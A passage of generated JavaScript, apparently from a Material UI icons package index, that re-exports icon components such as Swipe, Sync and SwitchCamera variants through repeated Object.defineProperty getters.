return _Subscriptions.default;\n  }\n});\nObject.defineProperty(exports, \"SubscriptionsOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SubscriptionsOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SubscriptionsRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SubscriptionsRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SubscriptionsSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SubscriptionsSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SubscriptionsTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SubscriptionsTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"Subtitles\", {\n  enumerable: true,\n  get: function () {\n    return _Subtitles.default;\n  }\n});\nObject.defineProperty(exports, \"SubtitlesOff\", {\n  enumerable: true,\n  get: function () {\n    return _SubtitlesOff.default;\n  }\n});\nObject.defineProperty(exports, \"SubtitlesOffOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SubtitlesOffOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SubtitlesOffRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SubtitlesOffRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SubtitlesOffSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SubtitlesOffSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SubtitlesOffTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SubtitlesOffTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SubtitlesOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SubtitlesOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SubtitlesRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SubtitlesRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SubtitlesSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SubtitlesSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SubtitlesTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SubtitlesTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"Subway\", {\n  enumerable: true,\n  get: function () {\n    return _Subway.default;\n  }\n});\nObject.defineProperty(exports, \"SubwayOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SubwayOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SubwayRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SubwayRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SubwaySharp\", {\n  enumerable: true,\n  get: function () {\n    return _SubwaySharp.default;\n  }\n});\nObject.defineProperty(exports, \"SubwayTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SubwayTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"Summarize\", {\n  enumerable: true,\n  get: function () {\n    return _Summarize.default;\n  }\n});\nObject.defineProperty(exports, \"SummarizeOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SummarizeOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SummarizeRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SummarizeRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SummarizeSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SummarizeSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SummarizeTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SummarizeTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"Sunny\", {\n  enumerable: true,\n  get: function () {\n    return _Sunny.default;\n  }\n});\nObject.defineProperty(exports, \"SunnySnowing\", {\n  enumerable: true,\n  get: function () {\n    return _SunnySnowing.default;\n  }\n});\nObject.defineProperty(exports, \"Superscript\", {\n  enumerable: true,\n  get: function () {\n    return _Superscript.default;\n  }\n});\nObject.defineProperty(exports, \"SuperscriptOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SuperscriptOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SuperscriptRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SuperscriptRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SuperscriptSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SuperscriptSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SuperscriptTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SuperscriptTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SupervisedUserCircle\", {\n  enumerable: true,\n  get: function () {\n    return _SupervisedUserCircle.default;\n  }\n});\nObject.defineProperty(exports, \"SupervisedUserCircleOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SupervisedUserCircleOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SupervisedUserCircleRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SupervisedUserCircleRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SupervisedUserCircleSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SupervisedUserCircleSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SupervisedUserCircleTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SupervisedUserCircleTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SupervisorAccount\", {\n  enumerable: true,\n  get: function () {\n    return _SupervisorAccount.default;\n  }\n});\nObject.defineProperty(exports, \"SupervisorAccountOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SupervisorAccountOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SupervisorAccountRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SupervisorAccountRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SupervisorAccountSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SupervisorAccountSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SupervisorAccountTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SupervisorAccountTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"Support\", {\n  enumerable: true,\n  get: function () {\n    return _Support.default;\n  }\n});\nObject.defineProperty(exports, \"SupportAgent\", {\n  enumerable: true,\n  get: function () {\n    return _SupportAgent.default;\n  }\n});\nObject.defineProperty(exports, \"SupportAgentOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SupportAgentOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SupportAgentRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SupportAgentRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SupportAgentSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SupportAgentSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SupportAgentTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SupportAgentTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SupportOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SupportOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SupportRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SupportRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SupportSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SupportSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SupportTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SupportTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"Surfing\", {\n  enumerable: true,\n  get: function () {\n    return _Surfing.default;\n  }\n});\nObject.defineProperty(exports, \"SurfingOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SurfingOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SurfingRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SurfingRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SurfingSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SurfingSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SurfingTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SurfingTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SurroundSound\", {\n  enumerable: true,\n  get: function () {\n    return _SurroundSound.default;\n  }\n});\nObject.defineProperty(exports, \"SurroundSoundOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SurroundSoundOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SurroundSoundRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SurroundSoundRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SurroundSoundSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SurroundSoundSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SurroundSoundTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SurroundSoundTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SwapCalls\", {\n  enumerable: true,\n  get: function () {\n    return _SwapCalls.default;\n  }\n});\nObject.defineProperty(exports, \"SwapCallsOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SwapCallsOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SwapCallsRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SwapCallsRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SwapCallsSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SwapCallsSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SwapCallsTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SwapCallsTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SwapHoriz\", {\n  enumerable: true,\n  get: function () {\n    return _SwapHoriz.default;\n  }\n});\nObject.defineProperty(exports, \"SwapHorizOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SwapHorizOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SwapHorizRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SwapHorizRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SwapHorizSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SwapHorizSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SwapHorizTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SwapHorizTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SwapHorizontalCircle\", {\n  enumerable: true,\n  get: function () {\n    return _SwapHorizontalCircle.default;\n  }\n});\nObject.defineProperty(exports, \"SwapHorizontalCircleOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SwapHorizontalCircleOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SwapHorizontalCircleRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SwapHorizontalCircleRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SwapHorizontalCircleSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SwapHorizontalCircleSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SwapHorizontalCircleTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SwapHorizontalCircleTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SwapVert\", {\n  enumerable: true,\n  get: function () {\n    return _SwapVert.default;\n  }\n});\nObject.defineProperty(exports, \"SwapVertOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SwapVertOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SwapVertRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SwapVertRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SwapVertSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SwapVertSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SwapVertTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SwapVertTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SwapVerticalCircle\", {\n  enumerable: true,\n  get: function () {\n    return _SwapVerticalCircle.default;\n  }\n});\nObject.defineProperty(exports, \"SwapVerticalCircleOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SwapVerticalCircleOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SwapVerticalCircleRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SwapVerticalCircleRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SwapVerticalCircleSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SwapVerticalCircleSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SwapVerticalCircleTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SwapVerticalCircleTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"Swipe\", {\n  enumerable: true,\n  get: function () {\n    return _Swipe.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeDown\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeDown.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeDownAlt\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeDownAlt.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeDownAltOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeDownAltOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeDownAltRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeDownAltRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeDownAltSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeDownAltSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeDownAltTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeDownAltTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeDownOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeDownOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeDownRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeDownRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeDownSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeDownSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeDownTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeDownTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeLeft\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeLeft.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeLeftAlt\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeLeftAlt.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeLeftAltOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeLeftAltOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeLeftAltRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeLeftAltRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeLeftAltSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeLeftAltSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeLeftAltTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeLeftAltTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeLeftOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeLeftOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeLeftRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeLeftRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeLeftSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeLeftSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeLeftTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeLeftTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeRight\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeRight.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeRightAlt\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeRightAlt.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeRightAltOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeRightAltOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeRightAltRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeRightAltRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeRightAltSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeRightAltSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeRightAltTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeRightAltTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeRightOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeRightOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeRightRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeRightRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeRightSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeRightSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeRightTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeRightTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeUp\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeUp.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeUpAlt\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeUpAlt.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeUpAltOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeUpAltOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeUpAltRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeUpAltRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeUpAltSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeUpAltSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeUpAltTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeUpAltTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeUpOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeUpOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeUpRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeUpRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeUpSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeUpSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeUpTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeUpTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeVertical\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeVertical.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeVerticalOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeVerticalOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeVerticalRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeVerticalRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeVerticalSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeVerticalSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SwipeVerticalTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SwipeVerticalTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchAccessShortcut\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchAccessShortcut.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchAccessShortcutAdd\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchAccessShortcutAdd.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchAccessShortcutAddOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchAccessShortcutAddOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchAccessShortcutAddRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchAccessShortcutAddRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchAccessShortcutAddSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchAccessShortcutAddSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchAccessShortcutAddTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchAccessShortcutAddTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchAccessShortcutOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchAccessShortcutOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchAccessShortcutRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchAccessShortcutRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchAccessShortcutSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchAccessShortcutSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchAccessShortcutTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchAccessShortcutTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchAccount\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchAccount.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchAccountOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchAccountOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchAccountRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchAccountRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchAccountSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchAccountSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchAccountTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchAccountTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchCamera\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchCamera.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchCameraOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchCameraOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchCameraRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchCameraRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchCameraSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchCameraSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchCameraTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchCameraTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchLeft\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchLeft.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchLeftOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchLeftOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchLeftRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchLeftRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchLeftSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchLeftSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchLeftTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchLeftTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchRight\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchRight.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchRightOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchRightOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchRightRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchRightRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchRightSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchRightSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchRightTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchRightTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchVideo\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchVideo.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchVideoOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchVideoOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchVideoRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchVideoRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchVideoSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchVideoSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SwitchVideoTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SwitchVideoTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"Synagogue\", {\n  enumerable: true,\n  get: function () {\n    return _Synagogue.default;\n  }\n});\nObject.defineProperty(exports, \"SynagogueOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SynagogueOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SynagogueRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SynagogueRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SynagogueSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SynagogueSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SynagogueTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SynagogueTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"Sync\", {\n  enumerable: true,\n  get: function () {\n    return _Sync.default;\n  }\n});\nObject.defineProperty(exports, \"SyncAlt\", {\n  enumerable: true,\n  get: function () {\n    return _SyncAlt.default;\n  }\n});\nObject.defineProperty(exports, \"SyncAltOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SyncAltOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SyncAltRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SyncAltRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SyncAltSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SyncAltSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SyncAltTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SyncAltTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SyncDisabled\", {\n  enumerable: true,\n  get: function () {\n    return _SyncDisabled.default;\n  }\n});\nObject.defineProperty(exports, \"SyncDisabledOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SyncDisabledOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SyncDisabledRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SyncDisabledRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SyncDisabledSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SyncDisabledSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SyncDisabledTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SyncDisabledTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SyncLock\", {\n  enumerable: true,\n  get: function () {\n    return _SyncLock.default;\n  }\n});\nObject.defineProperty(exports, \"SyncLockOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SyncLockOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SyncLockRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SyncLockRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SyncLockSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SyncLockSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SyncLockTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SyncLockTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SyncOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SyncOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SyncProblem\", {\n  enumerable: true,\n  get: function () {\n    return _SyncProblem.default;\n  }\n});\nObject.defineProperty(exports, \"SyncProblemOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SyncProblemOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SyncProblemRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SyncProblemRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SyncProblemSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SyncProblemSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SyncProblemTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SyncProblemTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SyncRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SyncRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SyncSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SyncSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SyncTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SyncTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SystemSecurityUpdate\", {\n  enumerable: true,\n  get: function () {\n    return _SystemSecurityUpdate.default;\n  }\n});\nObject.defineProperty(exports, \"SystemSecurityUpdateGood\", {\n  enumerable: true,\n  get: function () {\n    return _SystemSecurityUpdateGood.default;\n  }\n});\nObject.defineProperty(exports, \"SystemSecurityUpdateGoodOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SystemSecurityUpdateGoodOutlined.default;\n  }\n});\nObject.defineProperty(exports, \"SystemSecurityUpdateGoodRounded\", {\n  enumerable: true,\n  get: function () {\n    return _SystemSecurityUpdateGoodRounded.default;\n  }\n});\nObject.defineProperty(exports, \"SystemSecurityUpdateGoodSharp\", {\n  enumerable: true,\n  get: function () {\n    return _SystemSecurityUpdateGoodSharp.default;\n  }\n});\nObject.defineProperty(exports, \"SystemSecurityUpdateGoodTwoTone\", {\n  enumerable: true,\n  get: function () {\n    return _SystemSecurityUpdateGoodTwoTone.default;\n  }\n});\nObject.defineProperty(exports, \"SystemSecurityUpdateOutlined\", {\n  enumerable: true,\n  get: function () {\n    return _SystemSecurityUpdateOutlined.default;\n  }\n});\nObject.defineProperty(exports, 